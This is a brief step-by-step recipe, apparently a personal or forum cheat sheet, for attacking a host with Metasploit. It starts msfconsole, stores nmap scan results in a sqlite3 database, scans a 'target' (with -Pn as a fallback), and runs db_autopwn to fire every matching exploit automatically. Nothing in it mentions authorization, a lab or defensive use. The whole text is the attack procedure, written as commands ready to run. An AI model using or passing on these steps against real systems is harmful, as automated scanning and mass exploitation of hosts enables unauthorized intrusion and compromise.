1. Run metasploit:
$ ./msfconsole
2. Create the database which metasploit uses to store the nmap data:
> db_driver sqlite3
> db connect
3. NMap the target, and place the results into the database.
> db_nmap target
you may have to:
> db_nmap -Pn target
4. Run Autopwn:
> db_autopwn -t -p -e -s -b